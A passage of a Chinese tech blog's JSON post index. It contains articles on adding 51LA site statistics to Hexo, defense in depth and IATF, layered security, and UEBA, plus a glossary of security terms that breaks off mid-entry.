51LA可免费添加应用30个，每日应用统计总PV在3000000，对于个人站点或小型企业足足够用了。\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-01-hexo%E5%8D%9A%E5%AE%A2%E5%8A%A0%E5%85%A551la%E7%BD%91%E7%AB%99%E6%B5%81%E9%87%8F%E7%BB%9F%E8%AE%A1/","summary":"\u003cp\u003e自建hexo博客xiejava.ishareread.com一直在用CNZZ的网站流量统计，每天登陆到CNZZ的网站流量统计后台看博客的访问量成了建站以来的习惯。3月23日以后突然发现CNZZ的统计没有数据了，查了半天才知道CNZZ的U-Web统计分析产品停服了，计划要收费了。最开始用百度统计也是的，原来用得好好的，突然也是要收费了才开始转向用CNZZ的，现在CNZZ也要开始收费了。看来互联网公司日子比较难过了，免费时代已经一去不复返了。对于个人博客网站来说要付费买个网站流量统计又有点划不来。本来流量就很少，每年域名要付费、主机要付费，再弄个流量统计也要付费实在是有点承受不了。但是没有网站流量统计，不能看到自己的站点的访问量，对于个人自建网站来讲失去了大部分的乐趣。\n所以这几天一直在寻找其他的网站流量统计的工具，只到找到了51LA。以前只知道百度和CNZZ的网站流量统计工具，最近才了解到51LA统计，它是15年老牌网站统计工具，是互联网上最早基于ASP编写的网站数据统计工具，拥有一大批忠实老站长，后来历经改造，推出新版51LA统计目前是网站统计V6，界面较以往有了较大的改动更加友好直观。\n51LA网站统计V6的产品链接是 \u003ca href=\"https://v6.51.la/\"\u003ehttps://v6.51.la/\u003c/a\u003e\n\u003cimg alt=\"我要啦网站统计V6\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2022/20220401/51LA%E7%BD%91%E7%AB%99%E7%BB%9F%E8%AE%A1V6.png\"\u003e\u003c/p\u003e","title":"Hexo博客加入51LA网站流量统计"},{"content":"什么是“纵深防御”？很多人和资料都有不同的解释，有许多资料将“纵深防御”和“分层防护”等同起来， 上次文章介绍了“分层防护”，分层防护是根据网络的应用现状情况和网络的结构，将安全防范体系的层次划分为物理层安全、系统层安全、网络层安全、应用层安全和安全管理等各个层级，在每个层级实施相应的防护策略和手段。“纵深防御”与“分层防护”既有区别又有联系。\n“纵深防御”实际上并不是一个网络安全领域的专属名词，早在二十世纪初，前苏联元帅米·尼·图哈切夫斯基就在对第一次世界大战以及国内战争经验的基础上，提出了一种名为“大纵深作战理论”的思想。由于网络安全的本质就是黑客与开发者之间的攻防战，所以信息安全领域中的“纵深防御”概念确与战争学上的思想有着共通之处，其核心都是多点布防、以点带面、多面成体，以形成一个多层次的、立体的全方位防御体系来挫伤敌人、保障自身的整体安全。\n根据《信息安全工程师教程（第2版）》的描述，纵深防御模型的基本思路就是将信息网络安全防护措施有机组合起来，针对保护对象，部署合适的安全措施，形成多道保护线，各安全防护措施能够相互支持和补救，尽可能地阻断攻击者的威胁。目前，安全业界认为网络需要建立四道防线：安全保护是网络的第一道防线，能够阻止对网络的入侵和危害；安全监测是网络的第二道防线，可以及时发现入侵和破坏；实施响应是网络的第三道防线，当攻击发生时维持网络\u0026quot;打不垮\u0026quot;；恢复是网络的第四道防线，使网络在遭受攻击后能够以最快的速度“起死回升”，最大限度地降低安全事件带来的损失。看描述基本上是对应美国国防部提出的PDRR模型，即（Protection防护、Detection检测、Recovery恢复、Response响应）。PDRR改进了传统的只有防护的单一安全防御思想，强调信息安全保障的四个重要环节。 保护（Protection）的内容主要有加密机制、数据签名机制、访问控制机制、认证机制、信息隐藏、防火墙技术等。 检测（Detection）的内容主要有入侵检测、系统脆弱性检测、数据完整性检测、攻击性检测等。 恢复（Recovery）的内容主要有数据备份、数据修复、系统恢复等。 响应（Response）的内容主要有应急策略、应急机制、应急手段、入侵过程分析及安全状态评估等。 但是PPDR模型总体还是比较局限与从技术上考虑安全问题。随着信息化的发展，人们越来越意识到信息安全涉及面非常广，除了技术，管理、制度、人员和法律等方面也是信息安全必须考虑的因素，就像一个由多块木板构成的“木桶”，木桶的容量由最短的那块短板决定。在处理信息安全问题是，需要全面考虑各方面的因素。\n所以美国国家安全局（NSA）发布的信息安全保障技术框架IATF（Information Assurance Technical Framework）提出了纵深防御战略思想，其3个核心要素就是人、技术和操作。信息系统安全保障依赖于人、技术和操作来共同实现组织机构的职能。 IATF用一句话概括起来就是：一个核心思想、三个核心要素、四个焦点领域。 一个核心思想 一个核心思想就是\u0026quot;纵深防御\u0026quot;，纵深防御也被称为深度防护战略（Defense-in-Depth），是指网络安全需要采用一个多层次、纵深的安全措施来保障信息安全。因为网络信息的安全不是仅仅依靠一两种技术或简单的安全防御设施就能实现，必须在各个层次、不同技术框架区域中实施保障机制，才能最大程度地降低风险，应对攻击并保护信息系统的安全。在一个规范的信息系统网络中，我们可以看到在网络出口有防火墙，在DMZ区有防火墙，在服务器前端还有防火墙，这就是纵深防御思想的一个体现。需要在多个位置部署安全措施，看似重复，但是因其面对不同的业务、其安全策略有很大的差异。\n三个核心要素 三个核心要素是人、技术、操作。网络安全三分靠技术、七分靠管理，三要素中的“人”指的就是加强管理。 人是信息系统的主题，包括信息系统的拥有者、管理者和使用者，是信息安全保障的核心； 技术是重要手段，需要通过技术机制来保障各项业务的安全，是一种被动防御； 操作也称为运行或运营安全，是一种主动防御的体系和机制，包括风险评估、监控、审计、入侵检测等。 四个焦点领域 网络和基础设施、区域边界、计算环境、支撑性基础设施4个焦点领域。基于这4个焦点领域，结合IATF纵深防御的思想进行信息安全防御从而形成保障框架。\n1.保护网络和基础设施\n网络和其他基础设施是信息系统及业务的支撑，是整个信息系统安全的基础。应采取措施确保网络和基础设施能稳定可靠运行，不会因故障和外界影响导致服务的中断或数据延迟，确保在网络中进行传输的公共的、私人的信息能正确地被接收者获取，不会导致未受权的访问、更改等。保护网络和基础设施防护措施包括但并不限于以下方式。\n合理规划以确保骨干网可用性。 使用安全的技 术架构，例如在使用无线网络时考虑安全的技术架构。 使用冗余设备提高可用性。 使用虚拟专网 ( VPN)保护通信。 2.保护区域边界\n信息系统根据业务、管理方式和安全等级的不同，通常可以划分为多个区域，这些区或多或少都有与其他区域相连接的边界。保护区域边界关注的是如何对进出这此区域边界的数据流进行有效的控制与监视。要合理地将信息系统根据业务、管理方式和安全等级划分不同的安全区域，并明确定义不同网络区域间需要哪些数据传递。在此基础上采取措施对数据进行控制与监视。通常采取的措施包括但并不限于以下方式。\n在区域边界设 置身份认证和访问控制措施，例如部署防火墙对来访者进行身份认证。 在区域边 界部署人侵检测系统以发现针对安全区域内的攻击行为。 在区域边界部署防病毒网关以发现并过滤数据中的恶意代码。 使用VPN设备以确保安全的接人。 部署抗拒绝服务攻击设备以应对拒绝服务攻击。 流量管理、行为管理等其他措施。 3.保护计算环境\n计算环境指信息系统中的服务器、客户机及其中安装的操作系统、应用软件等。保护计算环境通常采用身份鉴别、访问控制、加密等一系列技术以确保计算环境内的数据保密性、完整性、可用性、不可否认性等。保护计算环境的措施包括但并不限于以下方式。 安装并使用安全的操作系统和应用软件。\n在服务 器上部署主机入侵检测系统、防病毒软件及其他安全防护软件。 定期对系统进行漏洞扫描或者补丁加固，以避免系统脆弱性。 定期对系统进行安全配置检查，确保最优配置。 部署或配置对文件的完整性保护。 定期对 系统和数据进行备份等。 4.支撑性基础设施\n支撑性基础设施是提供安全服务的基础设施及与之相关的一系列活动的综合体。IATF定义了两种类型的支撑性基础设施：密钥管理基础设施( KMI) /公钥基础设施( PKI)和检测与响应。\nKMI/PKI：提供支持密钥、授权和证书管理的密码基础设施并能实现使用网络服务人员确实的身份识别。 检测与响应：提供入侵检测、报告、分析、评估和响应基础设施，它能迅速检测和响应入侵、异常事件并提供运行状态的情况。 IATF的4个技术焦点区域是一个逐层递进的关系，从而形成一种纵深防御系统。因此，以上4个方面的应用充分贯彻了纵深防御的思想，对整个信息系统的各个区域、各个层次，甚至在每一个层次内部都部署了信息安全设备和安全机制，保证访问者对每一个 系统组件进行访问时都受到保障机制的监视和检测，以实现系统全方位的充分防御，将系统遭受攻进行访问时都受到保障机制的监视和检测，以实现系统全方位的充分防御，将系统遭受攻击的风险降至最低,确保数据的安全和可靠。\n除了纵深防御这个核心思想之外，IATF还提出了其他一些信息安全原则，包括保护多个位置、分层防护。 1.保护多个位置 保护多个位置包括保护网络和基础设施、区域边界、计算环境等,这一原则提醒我们，仅仅在信息系统的重要敏感区域设置一些保护装置 是不够的，任意一个系统漏洞都有可能导致严重的攻击和破坏后果，所以在信息系统的各个方位布置全面的防御机制，才能将风险降至最低。 2.分层防御 如果说保护多个位置原则是横向防御，那么这一原则就是纵向防御，这也是纵深防御思想的一个具体体现。分层防御即在攻击者和目标之间部署多层防御机制，每个这样的机制必须对攻击者形成一道屏障。而且每一个这样的机制还应包括保护和检测措施，以使攻击者不得不面对被检测到的风险，迫使攻击者由于高昂的攻击代价而放弃攻击行为。\n可见，纵深防御是战略思想、分层防护是具体的战术实现。\n资料来源： 《信息安全工程师教程（第2版）》 《CISP培训教材》\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-03-30-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E4%B9%8B%E7%BA%B5%E6%B7%B1%E9%98%B2%E5%BE%A1/","summary":"\u003cp\u003e什么是“纵深防御”？很多人和资料都有不同的解释，有许多资料将“纵深防御”和“分层防护”等同起来，\n上次文章介绍了“\u003ca href=\"https://xiejava.blog.csdn.net/article/details/123794343\"\u003e分层防护\u003c/a\u003e”，分层防护是根据网络的应用现状情况和网络的结构，将安全防范体系的层次划分为物理层安全、系统层安全、网络层安全、应用层安全和安全管理等各个层级，在每个层级实施相应的防护策略和手段。“纵深防御”与“分层防护”既有区别又有联系。\u003c/p\u003e\n\u003cp\u003e“纵深防御”实际上并不是一个网络安全领域的专属名词，早在二十世纪初，前苏联元帅米·尼·图哈切夫斯基就在对第一次世界大战以及国内战争经验的基础上，提出了一种名为“大纵深作战理论”的思想。由于网络安全的本质就是黑客与开发者之间的攻防战，所以信息安全领域中的“纵深防御”概念确与战争学上的思想有着共通之处，其核心都是多点布防、以点带面、多面成体，以形成一个多层次的、立体的全方位防御体系来挫伤敌人、保障自身的整体安全。\u003c/p\u003e","title":"网络信息安全之纵深防御"},{"content":"作为全方位的、整体的网络安全防范体系也是分层次的，不同层次反映了不同的安全问题，根据网络的应用现状情况和网络的结构，将安全防范体系的层次划分为物理层安全、系统层安全、网络层安全、应用层安全和安全管理。 1.物理环境的安全性(物理层安全) 该层次的安全包括通信线路的安全，物理设备的安全，机房的安全等。物理层的安全主要体现在通信线路的可靠性(线路备份、网管软件、传输介质)，软硬件设备安全性(替换设备、拆卸设备、增加设备)，设备的备份，防灾害能力、防干扰能力，设备的运行环境(温度、湿度、烟尘)，不间断电源保障，等等。\n2.操作系统的安全性(系统层安全) 该层次的安全问题来自网络内使用的操作系统的安全，如Windows NT，Windows 2000等。主要表现在三方面，一是操作系统本身的缺陷带来的不安全因素，主要包括身份认证、访问控制、系统漏洞等。二是对操作系统的安全配置问题。三是病毒对操作系统的威胁。\n3.网络的安全性(网络层安全) 该层次的安全问题主要体现在网络方面的安全性，包括网络层身份认证，网络资源的访问控制，数据传输的保密与完整性，远程接入的安全，域名系统的安全，路由系统的安全，入侵检测的手段，网络设施防病毒等。\n4.应用的安全性(应用层安全) 该层次的安全问题主要由提供服务所采用的应用软件和数据的安全性产生，包括Web服务、电子邮件系统、DNS等。此外，还包括病毒对系统的威胁。\n5.管理的安全性(管理层安全) 安全管理包括安全技术和设备的管理、安全管理制度、部门与人员的组织规则等。管理的制度化极大程度地影响着整个网络的安全，严格的安全管理制度、明确的部门安全职责划分、合理的人员角色配置都可以在很大程度上降低其它层次的安全漏洞。\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-03-29-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BD%93%E7%B3%BB%E4%B9%8B%E5%88%86%E5%B1%82%E9%98%B2%E6%8A%A4/","summary":"\u003cp\u003e作为全方位的、整体的网络安全防范体系也是分层次的，不同层次反映了不同的安全问题，根据网络的应用现状情况和网络的结构，将安全防范体系的层次划分为物理层安全、系统层安全、网络层安全、应用层安全和安全管理。\n\u003cimg alt=\"分层防护\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2022/20220328/%E5%88%86%E5%B1%82%E9%98%B2%E6%8A%A4.png\"\u003e\u003c/p\u003e","title":"网络安全体系之分层防护"},{"content":"一、背景 数字新时代正在加速全面到来，网络环境变得更加多元、人员变得更复杂、接入方式多种多样，网络边界逐渐模糊甚至消失，同时伴随着企业数据的激增。数字化转型促进组织的业务发展的同时，也带来了重大的网络安全挑战。 1.越来越多的外部攻击，包括被利益驱动或国家驱动的难以察觉的高级攻击； 2.心怀恶意的内鬼、疏忽大意的员工、失陷账号与失陷主机导致的各种内部威胁； 3.数字化基础设施的脆弱性和风险暴露面越来越多，业务需求多变持续加剧的问题； 4.安全团队人员不足或能力有限，深陷不对称的“安全战争”之中。 在数字化带来的巨大变化下，传统的安全威胁发现能力受到了巨大的挑战。传统安全产品、技术、方案基本上都是基于已知特征进行规则匹配来进行分析和检测，基于特征、规则和人工分析，以“特征”为核心的检测分析存在安全可见性盲区，有严重的滞后效应、无力检测未知攻击、容易被绕过，以及难以适应攻防对抗的网络现实和快速变化的企业环境、外部威胁等问题。 安全是人和人攻防对抗的游戏，一切的意图都需要通过行为表达，这是安全运营中最重要也最有价值的一块拼图，同时也是传统方式最欠缺的。针对传统方式的不足，安全行业逐步加强基于大数据驱动，机器学习、概率分析、模式识别等的以“行为”为核心的检测分析。 用户实体行为分析（UEBA）应运而生。\n二、UEBA是什么 UEBA全名User and Entity Behavior Analytics ，即为用户实体行为分析。 Gartner 对 UEBA 的定义是“UEBA 提供画像及基于各种分析方法的异常检测，通常是基本分析方法（利用签名的规则、模式匹配、简单统计、阈值等）和高级分析方法（监督和无监督的机器学习等），用打包分析来评估用户和其他实体（主机、应用程序、网络、数据库等），发现与用户或实体标准画像或行为相异常的活动所相关的潜在事件。这些活动包括受信内部或第三方人员对系统的异常访问（用户异常），或外部攻击者绕过安全控制措施的入侵（异常用户）\n用户行为分析(UBA)关联了用户活动和相关实体（用户相关的应用和终端等）信息构建人物角色与群组，进一步定义这些个体与群组的合法和正常行为，把这些人物角色在群体与群体、群体与个体、个体与个体（那些远离合法和正常行为的群体与个体）维度上相互比对分析，将异常用户（失陷账号）和用户异常（非法行为）检测出来，从而达到检测业务欺诈、敏感数据泄露、内部恶意用户、有针对性攻击等高级威胁的目的。\n三、UEBA应用场景 1 账号安全 内部员工特别是高权限用户，以及服务和共享类帐户是内部和外部攻击者的主要目标。通过获取他们的访问权限则能够访问最敏感的交易、数据，甚至可以创建其他新特权帐户或滥用提权操作。由于公司账号数量庞大且难以区分滥用和合法使用，组织在监控这些帐户时面临着巨大的挑战。有效监控特权帐户不仅是一项重要的合规性要求，而且还是一项关键的威胁管理功能。和专有的特权账号管理应用（PAM，Privileged Account Management），PAM类应用提供了特权账号的全生命周期管理，而对特权账号异常行为的监控、检测、分析则是PAM的一类高级功能。PAM 内置的特权账号异常检测能力相对较弱，所以一些 PAM 供应商会跟 UEBA 产品集成，将 PAM 检测到的异常事件接入 UEBA 产品的高级分析引擎中，和其他维度的数据一起做更深层次的特权账号异常事件识别。 细分账号安全的场景，大致有两类。一类是账号本身的操作异常，如创建、提权、删除、暂停、撤回存在异常行为，静默账号忽然出现活动。另一类通过对账号行为如登录的时间、地点、频次的异常监控，判断账号是否被盗用或被攻陷。\n2 内部威胁 相比于不受信任的外部人员，内部员工访问和获取公司重要信息的要轻松很多。一方面公司的大部分安全防护、访问控制都是针对外来的攻击者；另一方面内部人员对组织的人员、规章、制度都有一定程度的了解，从而可以利用这些便利性来躲过安全防护检测。内部威胁者通常分为两类，一类是恶意内部人员，即合法的人员利用自己的权限做非法的事情。比如，下载大量重要的客户数据贩卖获取利益。另一类是内部人员账号被攻陷后的恶意行为。内部威胁检测的场景设计比较复杂，一般会从4个维度来考虑。\n建立用户行为风险画像 - 将所有身份、活动和访问特征，与基线、同组以及其他已知威胁指标进行比较，确定真正的风险区域。 高权限账号监控 – 自动识别高权限账号，例如管理员、服务和共享帐户，然后监控他们与攻击相关的异常行为，确定高风险异常行为是否源于高权限用户被成功攻击。 关键应用监控 – 为所有关键应用程序和系统构建访问风险评估，以识别与其敏感数据和交易相关的所有高风险用户、访问和活动。 内部欺诈侦测 – 利用同组人员的异常行为，比较分析侦测潜在的内部欺诈行为。 3 数据渗漏 一般而言，各类攻击的主要意图是窃取组织中最重要的数据资产。组织一般会部署监控数据流向的 DLP 产品，数据库安全或者应用访问类产品以保护公司的核心数据资产。这类数据防护类产品往往误报很多，每天产生的海量报警让安全团队难以真正聚焦重点。UEBA 可以对应用访问以及 DLP 日志做更深层次的多维分析，从而定位出真正的高风险数据泄漏风险。具体的场景设计可以从以下维度考虑。 应用系统访问监控/风险分析 – 对存储敏感数据的应用系统、文件服务器等的访问进行行为监控，通过与用户过去行为或其同组行为异常行相比较，自动识别并持续监控与此数据相关的高风险访问和活动。 DLP 事件评估 – 将 DLP 事件做多维度关联分析，比如说发生 DLP 事件的人，他的风险等级、是否有离职倾向、敏感数据下载/外发/打印的数量、频次、数据外流的目的地是否为竞争对手等等，从而进一步定位高风险。高风险人群的 DLP 事件优先处置，并且通过多维度分析往往也能进一步定位这些数据泄漏企图背后的动机。\n4 失陷主机 除了人员行为异常以外，重要的 IT 资产比如说各种应用服务器、重要的终端等行为异常检测对很多组织也是至关重要。例如，一个重要的应用服务器执行了一个非业务的应用或进程，打开了一个新的端口，外连了从未外连的地址/端口，忽然有长链接的 SSH 会话，系统目录下忽然出现新的可疑文件等等。这些异常行为往往是服务器被攻击的征兆，需要进一步分析与取证。 用 UEBA 技术定位失陷主机通常的思路是，基于相应设备和主机执行的高风险异常事件和活动，建立异常时间线，然后关联各种实体参数，包括：端点安全警报、漏洞扫描结果（常见漏洞评分系统[CVSS]）、用户或帐户的风险级别、访问的目标、请求的有效负载的数据包级别等等，从多维度检测任何异常活动或事件以确定风险评分。\n四、UEBA主要实现技术 UEBA 是一个完整的系统，涉及到算法、工程等检测部分，以及用户实体风险评分排序、调查等用户交互、反馈。从架构上来看，UEBA 系统一般包含三个层次，分别是数据中心层、算法分析层、场景应用层。其中，算法分析层一般大数据计算平台之上运行实时分析、统计分析、关联分析、机器学习等分析引擎。 机器学习引擎实现，如基线及群组分析、异常检测、集成学习风险评分、安全知识图谱、强化学习等UEBA 核心技术。\n基线及群组分析 历史基线，是行为分析的重要部分，通过构建群组分析，可以跨越单个用户、实体的局限，看到更大的事实；通过对比群组，易于异常检测；通过概率评估可以降低误报，提升信噪比；组合基线分析、群组分析，可以构成全时空的上下文环境。\n异常检测 异常检测关注发现统计指标异常、时序异常、序列异常、模式异常等异常信号，采用的技术包括孤立森林、K 均值聚类、时序分析、异常检测、变点检测等传统机器学习算法。现代的异常检测也利用深度学习技术，包括基于变分自编码器（VAE）的深度表征重建异常检测、基于循环神经网络（RNN）和长短时记忆网络（LSTM）的序列深度网络异常检测、图神经网络（GNN）的模式异常检测等。针对标记数据缺乏的现状，某些UEBA 系统能够采用主动学习技术（Active Learning）、自学习（Self Learning），充分发掘标记数据和无标记数据的价值。\n集成学习风险评分 把安全运维从事件管理转换到用户、实体风险，极大的降低工作量、提升效率。其中，实现转换的关键在于使用集成学习进行风险评分。风险评分需要综合各种告警、异常，以及进行群组对比分析和历史趋势。同时，风险评分技术中用户间风险的传导同样重要，需要一套类似谷歌搜索使用的网页排名PageRank 算法的迭代评估机制。风险评分的好坏，将直接影响到UEBA 实施的成效，进而直接影响到安全运营的效率。\n安全知识图谱 知识图谱已经成为人工智能领域的热点方向，在网络安全中同样也有巨大的应用潜力。部分UEBA 系统已经支持一定的安全知识图谱能力，可以将从事件、告警、异常、访问中抽取出的实体及实体间关系，构建成一张网络图谱。任何一个事件、告警、异常，都可以集成到网络图谱中，直观、明晰的呈现多层关系，可以让分析抵达更远的边界，触达更隐蔽的联系，揭露出最细微的线索。结合攻击链和知识图谱的关系回放，还能够让安全分析师近似真实的复现攻击全过程，了解攻击的路径与脆弱点，评估潜在的受影响资产，从而更好的进行应急响应与处置。\n强化学习 不同客户的环境数据源的多元性及差异性，以及用户对异常风险的定义各有不同， UEBA 需要具有一定的自适应性，输出更精准的异常风险。强化学习能够根据排查结果自适应地调整正负权重反馈给系统，进而得到更符合客户期望的风险评分。UEBA 给出异常信号后，结合安全管理人员的排查结果，获取反馈奖赏或惩罚，通过学习进行正负权重调整，从而让整体效果持续优化改进。\n五、UEBA行业发展趋势 Gartner《Market Guide for User and Entity Behavior Analytics》报告中指出： 终端用户在UEBA独立解决方案上的支出将呈复合式增长年增长率为48％，从2015年的5,000万美元增长到2020年的3.52亿美元。 UEBA解决方案供应商在2017年和2018年继续减少，主要是由于收购活动。Gartner预计该领域将继续整合，同时在其服务于相邻细分市场的产品中使用UEBA技术的厂商数量也在大幅增加。 到2021年，用户和实体行为分析（UEBA）市场将不再是一个独立的市场。 一些UEBA供应商现在将其市场战略路线聚焦于将其核心UEBA技术嵌入其他供应商的更传统的安全解决方案中。到2022年，UEBA的核心技术将嵌入80％的威胁检测和事件高级解决方案中（如SIEM）。 Gartner认为这一趋势将持续到2022年，届时UEBA将成为被更广泛的安全分析技术所取代。\nIndustryARC《UEBA Market - Forecast(2020 - 2025)》报告： 到2025年，用户和实体行为分析市场预计将达到49亿美元，从2020年到2025年，复合年增长率为41.5％。 UEBA是一种用于检测内部风险，财务欺诈和针对性攻击的机制。该方法用于分析人类行为模式，然后使用统计分析和算法来识别差异。 UEBA是一种机器学习模型，可以通过检测保护异常来帮助阻止网络攻击者。UEBA使用高级分析，汇总日志和报告数据，并分析数据包，流，文件和其他类型的信息以及其他类型的威胁数据，以评估某些形式的活动和动作是否可能构成网络攻击。 UEBA的优势包括–内部威胁识别，防止数据泄露，识别和防止欺诈，可操作的风险信息以及IP数据的安全性。 UEBA逐渐成为对全面网络威胁和欺诈的最有希望的回应。软件提供商更专注于确保可靠的算法和集成分析，以及开发应用程序系统。\n综合上述报告可以看出： UEBA市场价值正在飞速上升，UEBA技术研究前景广阔。 UEBA发展方向不再是一个独立个体，而是倾向于将UEBA技术嵌入到其他高级安全解决方案中。\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-03-24-%E4%BB%80%E4%B9%88%E6%98%AF%E7%94%A8%E6%88%B7%E5%AE%9E%E4%BD%93%E8%A1%8C%E4%B8%BA%E5%88%86%E6%9E%90ueba/","summary":"\u003ch1 id=\"一背景\"\u003e一、背景\u003c/h1\u003e\n\u003cp\u003e数字新时代正在加速全面到来，网络环境变得更加多元、人员变得更复杂、接入方式多种多样，网络边界逐渐模糊甚至消失，同时伴随着企业数据的激增。数字化转型促进组织的业务发展的同时，也带来了重大的网络安全挑战。\n1.越来越多的外部攻击，包括被利益驱动或国家驱动的难以察觉的高级攻击；\n2.心怀恶意的内鬼、疏忽大意的员工、失陷账号与失陷主机导致的各种内部威胁；\n3.数字化基础设施的脆弱性和风险暴露面越来越多，业务需求多变持续加剧的问题；\n4.安全团队人员不足或能力有限，深陷不对称的“安全战争”之中。\n在数字化带来的巨大变化下，传统的安全威胁发现能力受到了巨大的挑战。传统安全产品、技术、方案基本上都是基于已知特征进行规则匹配来进行分析和检测，基于特征、规则和人工分析，以“特征”为核心的检测分析存在安全可见性盲区，有严重的滞后效应、无力检测未知攻击、容易被绕过，以及难以适应攻防对抗的网络现实和快速变化的企业环境、外部威胁等问题。\n\u003cimg alt=\"特征分析与行为分析\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2022/20220324/%E7%89%B9%E5%BE%81%E5%88%86%E6%9E%90%E4%B8%8E%E8%A1%8C%E4%B8%BA%E5%88%86%E6%9E%90.png\"\u003e\u003c/p\u003e","title":"什么是用户实体行为分析（UEBA）"},{"content":"网络信息安全术语是获取网络安全知识和技术的重要途径，常见的网络安全术语可以分为基础技术类、风险评估技术类、防护技术类、检测技术类、响应/恢复技术类、测评技术类等。\n下面主要介绍常见的网络安全技术方面的术语\n一、基础技术类 基础技术类常见的是密码及加解密相关的技术 密码（Cipher） 一种用于加密和解密数据的算法。\n密码学（Cryptography） 编码研究。同样，使用代码/密码/数学技术来保护数据并提供实体和数据的身份验证。\n密钥（Secret key） 用于加密和解密的加密密钥，使对称密钥加密方案能够运行。\n编码(Encode) 使用代码将一种符号转换为另外一种符号。\n加密(Encryption) 使用密码来保护信息，这使任何没有密钥对其解密的人都无法读取。\n解密（Decryption） 将编码文本解密为原始原始格式的过程。\n证书（Certificate） 数字证书是数字身份验证的一种形式，它允许计算机，用户或组织安全地交换信息。\n二、攻击技术类 拒绝服务（Denial of Service） 是指通过向 服务器 发送大量垃圾信息或干扰信息的 方式 ，导致服务器无法向正常用户提供服务的现象。\n分布式拒绝服务（Distributed Denial of Service） 指处于不同位置的多个攻击者同时向一个或数个目标发动攻击，或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的，这类攻击称为分布式拒绝服务攻击。\n网页篡改（Website Distortion） 网页篡改是恶意破坏或更改网页内容，使网站无法正常工作或出现黑客插入的非正常网页内容。\n网页仿冒（Phishing） 网页仿冒是通过构造与某一目标网站高度相似的页面（俗称钓鱼网站），并通常以垃圾邮件、即时聊天、手机短信或网页虚假广告等方式发送声称来自于被仿冒机构的欺骗性消息，诱骗用户访问钓鱼网站，以获取用户个人秘密信息（如银行账号和账户密码）。\n网页挂马（Website Malicious Code） 网页挂马是通过在网页中嵌入恶意代码或链接，致使用户计算机在访问该页面时被植入恶意代码。\n域名劫持（DNS Hijack） 域名劫持是通过拦截域名解析请求或篡改域名服务器上的数据，使得用户在访问相关域名时返回虚假IP地址或使用户的请求失败。\n路由劫持（Routing Hijack） 路由劫持是通过欺骗方式更改路由信息，以导致用户无法访问正确的目标，或导致用户的访问流量绕行黑客设定的路径，以达到不正当的目的。\n垃圾邮件（Spam） 垃圾邮件是将不需要的消息（通常是未经请求的广告）发送给众多收件人。包括：收件人事先没有提出要求或者同意接受的广告、电子刊物、各种形式的宣传品等宣传性的电子邮件；收件人无法拒收的电子邮件；隐藏发件人身份、地址、标题等信息的电子邮件；含有虚假的信息源、发件人、路由等信息的电子邮件。\n特洛伊木马（Trojan Horse） 特洛伊木马（简称木马）是以盗取用户个人信息，甚至是远程控制用户计算机为主要目的的恶意代码。由于它像间谍一样潜入用户的电脑，与战争中的 “木马”战术十分相似，因而得名木马。按照功能，木马程序可进一步分为：盗号木马、网银木马、窃密木马、远程控制木马、流量劫持木马和其他木马六类。\n网络蠕虫（Network Worm） 网络蠕虫是指能自我复制和广泛传播，以占用系统和网络资源为主要目的恶意代码。按照传播途径，蠕虫可进一步分为：邮件蠕虫、即时消息蠕虫、U盘蠕虫、漏洞利用蠕虫和其他蠕虫五类。\n僵尸程序（Bot） 僵尸程序是用于构建僵尸网络以形成大规模攻击平台的恶意代码。按照使用的通信协议，僵尸程序可进一步分为：IRC僵尸程序、Http僵尸程序、P2P僵尸程序和其他僵尸程序四类。\n僵尸网络（Bot Net） 僵尸网络是被黑客集中控制的计算机群，其核心特点是黑客能够通过一对多的命令与控制信道操纵感染僵尸程序的主机执行相同的恶意行为，如可同时对某目标网站进行分布式拒绝服务攻击，或发送大量的垃圾邮件等。\nSQL注入（SQL injection） 一种使用代码注入来攻击由数据驱动的应用程序的策略。恶意注入的SQL代码可以执行多种操作，包括将所有数据转储到攻击者控制的位置的数据库中。通过这种攻击，恶意黑客可以欺骗身份，修改数据或篡改数据，泄露机密数据，删除和销毁数据或使其不可用。他们还可以完全控制数据库。\n网络钓鱼（Phishing） 大量电子邮件要求提供敏感信息或将其推送到假网站。这些电子邮件通常没有针对性。\n宏病毒（Macro virus） 一种恶意代码，使用文档应用程序的宏编程功能来执行不当行为，自我复制并在整个系统中传播。\n恶意代码（Malicious code） 恶意代码是指在未经授权的情况下，在信息系统中安装、执行以达到不正当目的的程序。旨在损害信息系统的机密性，完整性或可用性。\n恶意广告（Malvertising） 使用在线广告投放恶意软件。\n恶意软件（Malware） 恶意软件的简称。任何可能对组织或个人造成不利影响的病毒，特洛伊木马，蠕虫，代码或内容。\n中间人攻击（MitM） 网络罪犯将自己置于受害者和受害者试图访问的网站之间，以获取正在传输的信息或对其进行更改。有时缩写为MITM，MIM，MiM或MITMA。\n逻辑炸弹（Logic bomb） 一段带有一组秘密指令的代码。它被插入系统并由特定操作触发。该代码通常执行恶意操作，例如删除文件。\n高级持久威胁（APT） 一种网络攻击，使用复杂的技术持续对目标政府和公司进行网络间谍活动或其他恶意活动。通常由具有丰富专业知识和大量资源的对手进行-通常与民族国家参与者相关。 这些攻击往往来自多个入口点，并且可能使用多个攻击媒介（例如，网络攻击，物理攻击，欺骗攻击）。一旦系统遭到破坏，结束攻击可能非常困难。\n被动攻击（Passive attack） 攻击者试图获取机密信息以将其提取。因为他们不尝试更改数据，所以这种类型的攻击更难检测-因此称为“被动”。\n密码嗅探（Password sniffing） 通过监视或监听网络流量以检索密码数据来收集密码的技术。\n有效载荷（Payload） 执行恶意操作的恶意软件元素–网络安全性等同于导弹的爆炸性电荷。通常说来是造成破坏的。\n勒索软件（Ransomware） 